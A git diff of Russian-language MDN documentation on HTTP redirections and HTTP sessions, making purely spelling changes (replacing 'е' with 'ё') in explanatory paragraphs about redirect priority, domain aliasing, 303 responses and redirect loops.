-<p>ΠŸΡ€ΠΈ использовании Ρ‚Ρ€Π΅Ρ… Π²ΠΎΠ·ΠΌΠΎΠΆΠ½Ρ‹Ρ… способов URL пСрСнаправлСния, Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΌΠ΅Ρ‚ΠΎΠ΄Ρ‹ ΠΌΠΎΠ³ΡƒΡ‚ Π±Ρ‹Ρ‚ΡŒ Π²Ρ‹Π·Π²Π°Π½Ρ‹ ΠΎΠ΄Π½ΠΎΠ²Ρ€Π΅ΠΌΠ΅Π½Π½ΠΎ, Π½ΠΎ ΠΊΠ°ΠΊΠΎΠΉ ΠΈΠ· Π½ΠΈΡ… Π±ΡƒΠ΄Π΅Ρ‚ ΠΏΡ€ΠΈΠΌΠ΅Π½Π΅Π½ ΠΏΠ΅Ρ€Π²Ρ‹ΠΌ?Β ΠŸΠΎΡ€ΡΠ΄ΠΎΠΊ ΠΏΡ€ΠΈΠΎΡ€ΠΈΡ‚Π΅Ρ‚ΠΎΠ² ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠΉ:</p>
+<p>ΠŸΡ€ΠΈ использовании Ρ‚Ρ€Ρ‘Ρ… Π²ΠΎΠ·ΠΌΠΎΠΆΠ½Ρ‹Ρ… способов URL пСрСнаправлСния, Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΌΠ΅Ρ‚ΠΎΠ΄Ρ‹ ΠΌΠΎΠ³ΡƒΡ‚ Π±Ρ‹Ρ‚ΡŒ Π²Ρ‹Π·Π²Π°Π½Ρ‹ ΠΎΠ΄Π½ΠΎΠ²Ρ€Π΅ΠΌΠ΅Π½Π½ΠΎ, Π½ΠΎ ΠΊΠ°ΠΊΠΎΠΉ ΠΈΠ· Π½ΠΈΡ… Π±ΡƒΠ΄Π΅Ρ‚ ΠΏΡ€ΠΈΠΌΠ΅Π½Ρ‘Π½ ΠΏΠ΅Ρ€Π²Ρ‹ΠΌ?Β ΠŸΠΎΡ€ΡΠ΄ΠΎΠΊ ΠΏΡ€ΠΈΠΎΡ€ΠΈΡ‚Π΅Ρ‚ΠΎΠ² ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠΉ:</p>
<ol>
- <li>HTTP пСрСнаправлСния всСгда Π²Ρ‹ΠΏΠΎΠ»Π½ΡΡŽΡ‚ΡΡ ΠΏΠ΅Ρ€Π²Ρ‹ΠΌΠΈ, ΠΏΠΎΠΊΠ° СщС страница Π΄Π°ΠΆΠ΅ Π½Π΅ Π±Ρ‹Π»Π° ΠΏΠ΅Ρ€Π΅Π΄Π°Π½Π°,Β Β ΠΈ ΠΊΠΎΠ½Π΅Ρ‡Π½ΠΎ ΠΆΠ΅, ΠΏΠΎΠΊΠ° Π΅Ρ‰Π΅ Π½Π΅ ΠΏΡ€ΠΎΡ‡ΠΈΡ‚Π°Π½Π°.</li>
+ <li>HTTP пСрСнаправлСния всСгда Π²Ρ‹ΠΏΠΎΠ»Π½ΡΡŽΡ‚ΡΡ ΠΏΠ΅Ρ€Π²Ρ‹ΠΌΠΈ, ΠΏΠΎΠΊΠ° Сщё страница Π΄Π°ΠΆΠ΅ Π½Π΅ Π±Ρ‹Π»Π° ΠΏΠ΅Ρ€Π΅Π΄Π°Π½Π°,Β Β ΠΈ ΠΊΠΎΠ½Π΅Ρ‡Π½ΠΎ ΠΆΠ΅, ΠΏΠΎΠΊΠ° Π΅Ρ‰Ρ‘ Π½Π΅ ΠΏΡ€ΠΎΡ‡ΠΈΡ‚Π°Π½Π°.</li>
<li>HTML пСрСнаправлСния ({{HTMLElement("meta")}}) Π²Ρ‹ΠΏΠΎΠ»Π½ΡΡŽΡ‚ΡΡ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ, Ссли ΠΏΠ΅Ρ€Π΅Π½Π°ΠΏΡ€Π°Π²Π»Π΅Π½ΠΈΠ΅ Π½Π΅ Π±Ρ‹Π»ΠΎ Π² Π²Ρ‹ΠΏΠΎΠ»Π½Π΅Π½ΠΎ Π² HTTP.</li>
<li>JavaScript пСрСнаправлСния ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡŽΡ‚ΡΡ ΠΊΠ°ΠΊ послСдняя Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎΡΡ‚ΡŒ пСрСнаправлСния, ΠΈ Ρ€Π°Π±ΠΎΡ‚Π°ΡŽΡ‚ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Ссли Ρ€Π°Π·Ρ€Π΅ΡˆΠ΅Π½ΠΎ Π²Ρ‹ΠΏΠΎΠ»Π½Π΅Π½ΠΈΠ΅ JavaScript Π½Π° клиСнтской сторонС.</li>
</ol>
@@ -168,14 +168,14 @@ translation_of: Web/HTTP/Redirections
<p>БвязываниС Π΄ΠΎΠΌΠ΅Π½ΠΎΠ² ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΡ‹ΠΌΒ ΠΏΠΎ нСскольким ΠΏΡ€ΠΈΡ‡ΠΈΠ½Π°ΠΌ:</p>
<ul>
- <li>Π Π°ΡΡˆΠΈΡ€Π΅Π½ΠΈΠ΅ Π²Π°ΡˆΠ΅Π³ΠΎΒ ΡΠ°ΠΉΡ‚Π°. РаспространСнный случай, ΠΊΠΎΠ³Π΄Π° ваш сайт находится ΠΏΠΎΠ΄ Π΄ΠΎΠΌΠ΅Π½ΠΎΠΌΒ <code>www.example.com</code>Β , а доступ ΠΊ страницам Π΄ΠΎΠ»ΠΆΠ΅Π½ Π±Ρ‹Ρ‚ΡŒΒ Π²ΠΎΠ·ΠΌΠΎΠΆΠ½Ρ‹ΠΌΒ Ρ‚Π°ΠΊΠΆΠ΅ ΠΈΠ· <code>example.com</code>Β . Π’ этом случаС ΡΠΎΠ·Π΄Π°ΡŽΡ‚ΡΡ пСрСнаправлСния для  страниц ΠΈΠ·Β <code>example.com</code> ΠΊ страницам <code>www.example.com</code>. Π’Ρ‹ Ρ‚Π°ΠΊΠΆΠ΅ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΏΡ€Π΅Π΄ΠΎΡΡ‚Π°Π²Π»ΡΡ‚ΡŒ ΠΎΠ±Ρ‹Ρ‡Π½ΠΎ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅ΠΌΡ‹Π΅ ΠΈΠΌΠ΅Π½Π° синонимов ΠΈΠ»ΠΈ частыС ΠΎΠΏΠ΅Ρ‡Π°Ρ‚ΠΊΠΈ Π²Π°ΡˆΠΈΡ… Π΄ΠΎΠΌΠ΅Π½Π½Ρ‹Ρ… ΠΈΠΌΠ΅Π½.</li>
+ <li>Π Π°ΡΡˆΠΈΡ€Π΅Π½ΠΈΠ΅ Π²Π°ΡˆΠ΅Π³ΠΎΒ ΡΠ°ΠΉΡ‚Π°. Распространённый случай, ΠΊΠΎΠ³Π΄Π° ваш сайт находится ΠΏΠΎΠ΄ Π΄ΠΎΠΌΠ΅Π½ΠΎΠΌΒ <code>www.example.com</code>Β , а доступ ΠΊ страницам Π΄ΠΎΠ»ΠΆΠ΅Π½ Π±Ρ‹Ρ‚ΡŒΒ Π²ΠΎΠ·ΠΌΠΎΠΆΠ½Ρ‹ΠΌΒ Ρ‚Π°ΠΊΠΆΠ΅ ΠΈΠ· <code>example.com</code>Β . Π’ этом случаС ΡΠΎΠ·Π΄Π°ΡŽΡ‚ΡΡ пСрСнаправлСния для  страниц ΠΈΠ·Β <code>example.com</code> ΠΊ страницам <code>www.example.com</code>. Π’Ρ‹ Ρ‚Π°ΠΊΠΆΠ΅ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΏΡ€Π΅Π΄ΠΎΡΡ‚Π°Π²Π»ΡΡ‚ΡŒ ΠΎΠ±Ρ‹Ρ‡Π½ΠΎ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅ΠΌΡ‹Π΅ ΠΈΠΌΠ΅Π½Π° синонимов ΠΈΠ»ΠΈ частыС ΠΎΠΏΠ΅Ρ‡Π°Ρ‚ΠΊΠΈ Π²Π°ΡˆΠΈΡ… Π΄ΠΎΠΌΠ΅Π½Π½Ρ‹Ρ… ΠΈΠΌΠ΅Π½.</li>
<li>ΠŸΠ΅Ρ€Π΅Π΅Π·Π΄ Π½Π° Π΄Ρ€ΡƒΠ³ΠΎΠΉ Π΄ΠΎΠΌΠ΅Π½. К ΠΏΡ€ΠΈΠΌΠ΅Ρ€Ρƒ, ваша компания Π±Ρ‹Π»Π° ΠΏΠ΅Ρ€Π΅ΠΈΠΌΠ΅Π½ΠΎΠ²Π°Π½Π° ΠΈ Π²Ρ‹ Ρ…ΠΎΡ‚ΠΈΡ‚Π΅ Ρ‡Ρ‚ΠΎΠ±Ρ‹ люди ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΎΠ±Ρ‹Ρ‡Π½ΠΎ использовали старый сайт ΠΊΠΎΠΌΠΏΠ°Π½ΠΈΠΈ Π½Π°Ρ…ΠΎΠ΄ΠΈΠ»ΠΈ вас ΠΏΠΎΠ΄ Π½ΠΎΠ²Ρ‹ΠΌ ΠΈΠΌΠ΅Π½Π΅ΠΌ.</li>
- <li>ΠŸΡ€ΠΈΠ½ΡƒΠΆΠ΄Π΅Π½Π½Ρ‹ΠΉ HTTPS. Запросы ΠΊ HTTP вСрсии вашСго сайта Π±ΡƒΠ΄Ρƒ ΠΏΠ΅Ρ€Π΅Π½Π°ΠΏΡ€Π°Π²Π»Π΅Π½Ρ‹ ΠΊ HTTPS вСрсии.</li>
+ <li>ΠŸΡ€ΠΈΠ½ΡƒΠΆΠ΄Ρ‘Π½Π½Ρ‹ΠΉ HTTPS. Запросы ΠΊ HTTP вСрсии вашСго сайта Π±ΡƒΠ΄Ρƒ ΠΏΠ΅Ρ€Π΅Π½Π°ΠΏΡ€Π°Π²Π»Π΅Π½Ρ‹ ΠΊ HTTPS вСрсии.</li>
</ul>
<h3 id="БохранСния_ссылок_Ρ€Π°Π±ΠΎΡ‡ΠΈΠΌΠΈ">БохранСния ссылок Ρ€Π°Π±ΠΎΡ‡ΠΈΠΌΠΈ</h3>
-<p>Когда Π²Ρ‹ измСняСтС структуру Π²Π΅Π±-сайта, URL адрСса рСсурсов ΠΌΠ΅Π½ΡΡŽΡ‚ΡΡ. Π”Π°ΠΆΠ΅, Ссли Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΎΠ±Π½ΠΎΠ²ΠΈΡ‚ΡŒ Π²Π½ΡƒΡ‚Ρ€Π΅Π½Π½ΠΈΠ΅ ссылки вашСго сайта Π² соотвСтствии с Π½ΠΎΠ²ΠΎΠΉ схСмой ΠΈΠΌΠ΅Π½, Ρƒ вас Π½Π΅Ρ‚ контроля Π½Π° URL адрСсами ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅ΠΌΡ‹ΠΌΠΈ внСшними рСсурсами. Π’Ρ‹ Π½Π΅ Ρ…ΠΎΡ‚ΠΈΡ‚Π΅, Ρ‡Ρ‚ΠΎΠ±Ρ‹ эти ссылки Π½Π΅ Ρ€Π°Π±ΠΎΡ‚Π°Π»ΠΈ, Ρ‚Π°ΠΊ ΠΊΠ°ΠΊ ΠΎΠ½ΠΈ приносят Π²Π°ΠΌ Ρ†Π΅Π½Π½Ρ‹Ρ… ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Π΅ΠΉ (ΠΈ ΠΏΠΎΠΌΠΎΠ³Π°ΡŽΡ‚ вашСй SEO), Ρ‚Π°ΠΊ Ρ‡Ρ‚ΠΎ Π²Ρ‹ устанавливаСтС пСрСнаправлСния ΠΈΠ· старых URL адрСсов на Π½ΠΎΠ²Ρ‹Π΅.</p>
+<p>Когда Π²Ρ‹ измСняСтС структуру Π²Π΅Π±-сайта, URL адрСса рСсурсов ΠΌΠ΅Π½ΡΡŽΡ‚ΡΡ. Π”Π°ΠΆΠ΅, Ссли Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΎΠ±Π½ΠΎΠ²ΠΈΡ‚ΡŒ Π²Π½ΡƒΡ‚Ρ€Π΅Π½Π½ΠΈΠ΅ ссылки вашСго сайта Π² соотвСтствии с Π½ΠΎΠ²ΠΎΠΉ схСмой ΠΈΠΌΡ‘Π½, Ρƒ вас Π½Π΅Ρ‚ контроля Π½Π° URL адрСсами ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅ΠΌΡ‹ΠΌΠΈ внСшними рСсурсами. Π’Ρ‹ Π½Π΅ Ρ…ΠΎΡ‚ΠΈΡ‚Π΅, Ρ‡Ρ‚ΠΎΠ±Ρ‹ эти ссылки Π½Π΅ Ρ€Π°Π±ΠΎΡ‚Π°Π»ΠΈ, Ρ‚Π°ΠΊ ΠΊΠ°ΠΊ ΠΎΠ½ΠΈ приносят Π²Π°ΠΌ Ρ†Π΅Π½Π½Ρ‹Ρ… ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Π΅ΠΉ (ΠΈ ΠΏΠΎΠΌΠΎΠ³Π°ΡŽΡ‚ вашСй SEO), Ρ‚Π°ΠΊ Ρ‡Ρ‚ΠΎ Π²Ρ‹ устанавливаСтС пСрСнаправлСния ΠΈΠ· старых URL адрСсов на Π½ΠΎΠ²Ρ‹Π΅.</p>
<div class="note">
<p>НС смотря Π½Π° Ρ‚ΠΎ, Ρ‡Ρ‚ΠΎ Π΄Π°Π½Π½Ρ‹ΠΉ ΠΌΠ΅Ρ‚ΠΎΠ΄ Ρ€Π°Π±ΠΎΡ‚Π°Π΅Ρ‚ Ρ‚Π°ΠΊΠΆΠ΅ для Π²Π½ΡƒΡ‚Ρ€Π΅Π½Π½ΠΈΡ… ссылок, Π²Ρ‹ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ ΠΈΠ·Π±Π΅Π³Π°Ρ‚ΡŒ Π²Π½ΡƒΡ‚Ρ€Π΅Π½Π½ΠΈΡ… ΠΏΠ΅Ρ€Π΅Π½Π°ΠΏΡ€Π°Π²Π»Π΅Π½ΠΈΠΉ. ΠŸΠ΅Ρ€Π΅Π½Π°ΠΏΡ€Π°Π²Π»Π΅Π½ΠΈΡ ΠΈΠΌΠ΅ΡŽΡ‚ большоС влияниС Π½Π° ΠΏΡ€ΠΎΠΈΠ·Π²ΠΎΠ΄ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΡΡ‚ΡŒ, ΠΈ Ссли Π²Ρ‹ ΠΈΠΌΠ΅Π΅Ρ‚Π΅ Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎΡΡ‚ΡŒ ΠΈΠ·Π±Π΅ΠΆΠ°Ρ‚ΡŒ ΠΈΡ…, коррСктируя Π²Π½ΡƒΡ‚Ρ€Π΅Π½Π½ΠΈΠ΅ ссылки, Ρ‚ΠΎΠ³Π΄Π° Π΄Π΅Π»Π°ΠΉΡ‚Π΅ Ρ‚Π°ΠΊ.</p>
@@ -185,7 +185,7 @@ translation_of: Web/HTTP/Redirections
<p>{{Glossary("safe", "НСбСзопасныС")}} запросы ΠΈΠ·ΠΌΠ΅Π½ΡΡŽΡ‚ состояниС сСрвСра ΠΈ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒ Π½Π΅ Π΄ΠΎΠ»ΠΆΠ΅Π½ Π½Π΅ Π½Π°Ρ€ΠΎΡ‡Π½ΠΎΒ Π·Π°ΠΏΡ€ΠΎΡΠΈΡ‚ΡŒ ΠΈΡ….Β  ΠžΠ±Ρ‹Ρ‡Π½ΠΎ, Π²Ρ‹ Π½Π΅ Ρ…ΠΎΡ‚ΠΈΡ‚Π΅ Ρ‡Ρ‚ΠΎΠ±Ρ‹ ваши ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΠΈ ΠΏΠΎΠ²Ρ‚ΠΎΡ€Π½ΠΎ отправляли {{HTTPMethod("PUT")}}, {{HTTPMethod("POST")}} ΠΈΠ»ΠΈΒ {{HTTPMethod("DELETE")}} запросы. Если Π²Ρ‹ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ обслуТиваСтС запросы, простоС Π½Π°ΠΆΠ°Ρ‚ΠΈΠ΅ ΠΊΠ½ΠΎΠΏΠΊΠΈ ΠΏΠ΅Ρ€Π΅Π·Π°Π³Ρ€ΡƒΠ·ΠΊΠΈΒ ΠΏΠΎΠ²Ρ‚ΠΎΡ€Π½ΠΎ ΠΎΡ‚ΠΏΡ€Π°Π²ΠΈΡ‚ запрос.Β </p>
-<p>Π’ этом случаС, сСрвСр Π²Π΅Ρ€Π½Π΅Ρ‚Β ΠΎΡ‚Π²Π΅Ρ‚ {{HTTPStatus("303")}} (Π‘ΠΌΠΎΡ‚Ρ€Π΅Ρ‚ΡŒ Π΄Ρ€ΡƒΠ³ΠΈΠ΅), ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π±ΡƒΠ΄Π΅Ρ‚ ΡΠΎΠ΄Π΅Ρ€ΠΆΠ°Ρ‚ΡŒ ΠΏΡ€Π°Π²ΠΈΠ»ΡŒΠ½ΡƒΡŽ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΡŽ, Π½ΠΎ Ссли ΠΊΠ½ΠΎΠΏΠΊΠ° ΠΏΠ΅Ρ€Π΅Π·Π°Π³Ρ€ΡƒΠ·ΠΊΠΈ Π±ΡƒΠ΄Π΅Ρ‚ Π½Π°ΠΆΠ°Ρ‚Π°, эта страница просто отобразится ΠΏΠΎΠ²Ρ‚ΠΎΡ€Π½ΠΎ Π±Π΅Π· ΠΎΡ‚Π²Π΅Ρ‚Π° Π½Π° нСбСзопасный запрос.</p>
+<p>Π’ этом случаС, сСрвСр Π²Π΅Ρ€Π½Ρ‘Ρ‚Β ΠΎΡ‚Π²Π΅Ρ‚ {{HTTPStatus("303")}} (Π‘ΠΌΠΎΡ‚Ρ€Π΅Ρ‚ΡŒ Π΄Ρ€ΡƒΠ³ΠΈΠ΅), ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π±ΡƒΠ΄Π΅Ρ‚ ΡΠΎΠ΄Π΅Ρ€ΠΆΠ°Ρ‚ΡŒ ΠΏΡ€Π°Π²ΠΈΠ»ΡŒΠ½ΡƒΡŽ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΡŽ, Π½ΠΎ Ссли ΠΊΠ½ΠΎΠΏΠΊΠ° ΠΏΠ΅Ρ€Π΅Π·Π°Π³Ρ€ΡƒΠ·ΠΊΠΈ Π±ΡƒΠ΄Π΅Ρ‚ Π½Π°ΠΆΠ°Ρ‚Π°, эта страница просто отобразится ΠΏΠΎΠ²Ρ‚ΠΎΡ€Π½ΠΎ Π±Π΅Π· ΠΎΡ‚Π²Π΅Ρ‚Π° Π½Π° нСбСзопасный запрос.</p>
<h3 id="Π’Ρ€Π΅ΠΌΠ΅Π½Π½Ρ‹Π΅_ΠΎΡ‚Π²Π΅Ρ‚Ρ‹_Π½Π°_Π΄ΠΎΠ»Π³ΠΈΠ΅_запросы">Π’Ρ€Π΅ΠΌΠ΅Π½Π½Ρ‹Π΅ ΠΎΡ‚Π²Π΅Ρ‚Ρ‹ Π½Π° Π΄ΠΎΠ»Π³ΠΈΠ΅ запросы</h3>
@@ -223,7 +223,7 @@ Redirect 301 / http://www.example.com
<h3 id="Nginx">Nginx</h3>
-<p>Π’ Nginx, Π²Ρ‹ создаСтС особый сСрвСрный блок для ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚Π°, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π²Ρ‹ Ρ…ΠΎΡ‚ΠΈΡ‚Π΅ ΠΏΠ΅Ρ€Π΅Π½Π°ΠΏΡ€Π°Π²Π»ΡΡ‚ΡŒ:</p>
+<p>Π’ Nginx, Π²Ρ‹ создаётС особый сСрвСрный блок для ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚Π°, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π²Ρ‹ Ρ…ΠΎΡ‚ΠΈΡ‚Π΅ ΠΏΠ΅Ρ€Π΅Π½Π°ΠΏΡ€Π°Π²Π»ΡΡ‚ΡŒ:</p>
<pre>server {
listen 80;
@@ -243,7 +243,7 @@ rewrite ^/images/(.*)$ http://images.example.com/$1 permanent;
<h2 id="Π¦ΠΈΠΊΠ»Ρ‹_ΠΏΠ΅Ρ€Π΅Π½Π°ΠΏΡ€Π°Π²Π»Π΅Π½ΠΈΠΉ">Π¦ΠΈΠΊΠ»Ρ‹ ΠΏΠ΅Ρ€Π΅Π½Π°ΠΏΡ€Π°Π²Π»Π΅Π½ΠΈΠΉ</h2>
-<p>Π¦ΠΈΠΊΠ»Ρ‹ ΠΏΠ΅Ρ€Π΅Π½Π°ΠΏΡ€Π°Π²Π»Π΅Π½ΠΈΠΉ ΡΠ»ΡƒΡ‡Π°ΡŽΡ‚ΡΡ ΠΊΠΎΠ³Π΄Π° Π·Π° ΡƒΡΠΏΠ΅ΡˆΠ½Ρ‹ΠΌ ΠΏΠ΅Ρ€Π΅Π½Π°ΠΏΡ€Π°Π²Π»Π΅Π½ΠΈΠ΅ΠΌ слСдуСт Π΄Ρ€ΡƒΠ³ΠΎΠ΅, ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ ΡƒΠΆΠ΅ Π±Ρ‹Π»ΠΎ Π²Ρ‹ΠΏΠΎΠ»Π½Π΅Π½ΠΎ. Π”Ρ€ΡƒΠ³ΠΈΠΌΠΈ словами, сущСствуСт Ρ‚Π°ΠΊΠΎΠΉ Ρ†ΠΈΠΊΠ»,Β ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π½ΠΈΠΊΠΎΠ³Π΄Π° Π½Π΅ закончится ΠΈ Π² ΠΊΠΎΠ½Π΅Ρ‡Π½ΠΎΠΌ счСтС Π½ΠΈ ΠΎΠ΄Π½Π° страница Π½Π΅ Π±ΡƒΠ΄Π΅Ρ‚ Π½Π°ΠΉΠ΄Π΅Π½Π°.</p>
+<p>Π¦ΠΈΠΊΠ»Ρ‹ ΠΏΠ΅Ρ€Π΅Π½Π°ΠΏΡ€Π°Π²Π»Π΅Π½ΠΈΠΉ ΡΠ»ΡƒΡ‡Π°ΡŽΡ‚ΡΡ ΠΊΠΎΠ³Π΄Π° Π·Π° ΡƒΡΠΏΠ΅ΡˆΠ½Ρ‹ΠΌ ΠΏΠ΅Ρ€Π΅Π½Π°ΠΏΡ€Π°Π²Π»Π΅Π½ΠΈΠ΅ΠΌ слСдуСт Π΄Ρ€ΡƒΠ³ΠΎΠ΅, ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ ΡƒΠΆΠ΅ Π±Ρ‹Π»ΠΎ Π²Ρ‹ΠΏΠΎΠ»Π½Π΅Π½ΠΎ. Π”Ρ€ΡƒΠ³ΠΈΠΌΠΈ словами, сущСствуСт Ρ‚Π°ΠΊΠΎΠΉ Ρ†ΠΈΠΊΠ»,Β ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π½ΠΈΠΊΠΎΠ³Π΄Π° Π½Π΅ закончится ΠΈ Π² ΠΊΠΎΠ½Π΅Ρ‡Π½ΠΎΠΌ счётС Π½ΠΈ ΠΎΠ΄Π½Π° страница Π½Π΅ Π±ΡƒΠ΄Π΅Ρ‚ Π½Π°ΠΉΠ΄Π΅Π½Π°.</p>
<p>Π’ Π±ΠΎΠ»ΡŒΡˆΠΈΠ½ΡΡ‚Π²Π΅ случаСв это ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌΠ° сСрвСра, ΠΈ Ссли сСрвСр Π½Π΅ ΠΌΠΎΠΆΠ΅Ρ‚ ΠΎΠ±Π½Π°Ρ€ΡƒΠΆΠΈΡ‚ΡŒ Π΅Ρ‘, Ρ‚ΠΎ ΠΎΡ‚ΠΏΡ€Π°Π²ΠΈΡ‚ ΠΊΠΎΠ΄ статуса {{HTTPStatus("500")}} <code>Internal Server Error</code>. Если Π²Ρ‹ встрСтитС Ρ‚Π°ΠΊΡƒΡŽ ΠΎΡˆΠΈΠ±ΠΊΡƒ вскорС послС рСдактирования настроСк сСрвСра, Ρ‚ΠΎ это скорСС всСго Ρ†ΠΈΠΊΠ» ΠΏΠ΅Ρ€Π΅Π½Π°ΠΏΡ€Π°Π²Π»Π΅Π½ΠΈΠΉ.</p>
diff --git a/files/ru/web/http/session/index.html b/files/ru/web/http/session/index.html
index a8a53f9090..1b94555603 100644
--- a/files/ru/web/http/session/index.html
+++ b/files/ru/web/http/session/index.html
@@ -27,7 +27,7 @@ translation_of: Web/HTTP/Session
<h2 id="ΠžΡ‚ΠΏΡ€Π°Π²ΠΊΠ°_запроса_ΠΊΠ»ΠΈΠ΅Π½Ρ‚Π°">ΠžΡ‚ΠΏΡ€Π°Π²ΠΊΠ° запроса ΠΊΠ»ΠΈΠ΅Π½Ρ‚Π°</h2>
-<p>Когда соСдинСниС установлСно user-agent ΠΌΠΎΠΆΠ΅Ρ‚ ΠΏΠΎΡΠ»Π°Ρ‚ΡŒ запрос. (user-agent это ΠΎΠ±Ρ‹Ρ‡Π½ΠΎ Π²Π΅Π± Π±Ρ€Π°ΡƒΠ·Π΅Ρ€, Π½ΠΎ ΠΌΠΎΠΆΠ΅Ρ‚ ΠΈΠΌ Π½Π΅ Π±Ρ‹Ρ‚ΡŒ) ΠšΠ»ΠΈΠ΅Π½Ρ‚ΡΠΊΠΈΠΉ запрос это тСкстовыС Π΄ΠΈΡ€Π΅ΠΊΡ‚ΠΈΠ²Ρ‹, Ρ€Π°Π·Π΄Π΅Π»Π΅Π½Π½Ρ‹Π΅ ΠΌΠ΅ΠΆΠ΄Ρƒ собой ΠΏΡ€ΠΈ ΠΏΠΎΠΌΠΎΡ‰ΠΈΒ CRLF (пСрСноса строки).Β Β Π‘Π°ΠΌ запрос Π²ΠΊΠ»ΡŽΡ‡Π°Π΅Ρ‚ Π² сСбя Ρ‚Ρ€ΠΈ Π±Π»ΠΎΠΊΠ°:</p>
+<p>Когда соСдинСниС установлСно user-agent ΠΌΠΎΠΆΠ΅Ρ‚ ΠΏΠΎΡΠ»Π°Ρ‚ΡŒ запрос. (user-agent это ΠΎΠ±Ρ‹Ρ‡Π½ΠΎ Π²Π΅Π± Π±Ρ€Π°ΡƒΠ·Π΅Ρ€, Π½ΠΎ ΠΌΠΎΠΆΠ΅Ρ‚ ΠΈΠΌ Π½Π΅ Π±Ρ‹Ρ‚ΡŒ) ΠšΠ»ΠΈΠ΅Π½Ρ‚ΡΠΊΠΈΠΉ запрос это тСкстовыС Π΄ΠΈΡ€Π΅ΠΊΡ‚ΠΈΠ²Ρ‹, Ρ€Π°Π·Π΄Π΅Π»Ρ‘Π½Π½Ρ‹Π΅ ΠΌΠ΅ΠΆΠ΄Ρƒ собой ΠΏΡ€ΠΈ ΠΏΠΎΠΌΠΎΡ‰ΠΈΒ CRLF (пСрСноса строки).Β Β Π‘Π°ΠΌ запрос Π²ΠΊΠ»ΡŽΡ‡Π°Π΅Ρ‚ Π² сСбя Ρ‚Ρ€ΠΈ Π±Π»ΠΎΠΊΠ°:</p>
<ol>
<li>ΠŸΠ΅Ρ€Π²Ρ‹Π΅ строки содСрТат мСтод запроса ΠΈ Π΅Π³ΠΎ ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€Ρ‹:
@@ -36,7 +36,7 @@ translation_of: Web/HTTP/Session
<li>Π²Π΅Ρ€ΡΠΈΡŽ HTTP ΠΏΡ€ΠΎΡ‚ΠΎΠΊΠΎΠ»Π°Β </li>
</ul>
</li>
- <li>КаТдая ΠΏΠΎΡΠ»Π΅Π΄ΡƒΡŽΡ‰Π°Ρ строка прСдставляСт собой HTTPΒ Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΎΠΊ ΠΈ ΠΏΠ΅Ρ€Π΅Π΄Π°Π΅Ρ‚ сСрвСру Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€ΡƒΡŽ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΡŽ ΠΎ Ρ‚ΠΈΠΏΠ°Ρ… ΠΏΡ€Π΅Π΄ΠΏΠΎΡ‡ΠΈΡ‚Π°Π΅ΠΌΡ‹Ρ… Π΄Π°Π½Π½Ρ‹Ρ… (Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, ΠΊΠ°ΠΊΠΎΠΉ язык , ΠΊΠ°ΠΊΠΈΠ΅Β MIME Ρ‚ΠΈΠΏΡ‹) ΠΈΠ»ΠΈ инструкции ΠΌΠ΅Π½ΡΡŽΡ‰ΠΈΠ΅Β ΠΏΠΎΠ²Π΅Π΄Π΅Π½ΠΈΠ΅ сСрвСра (Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, Π½Π΅ ΠΎΡ‚ΠΏΡ€Π°Π²Π»ΡΡ‚ΡŒ ΠΎΡ‚Π²Π΅Ρ‚, Ссли ΠΎΠ½ ΡƒΠΆΠ΅ Π² кэшС) . Π­Ρ‚ΠΈΒ HTTP Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠΈ Ρ„ΠΎΡ€ΠΌΠΈΡ€ΡƒΡŽΡ‚ Π±Π»ΠΎΠΊ, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ заканчиваСтся пустой строкой.</li>
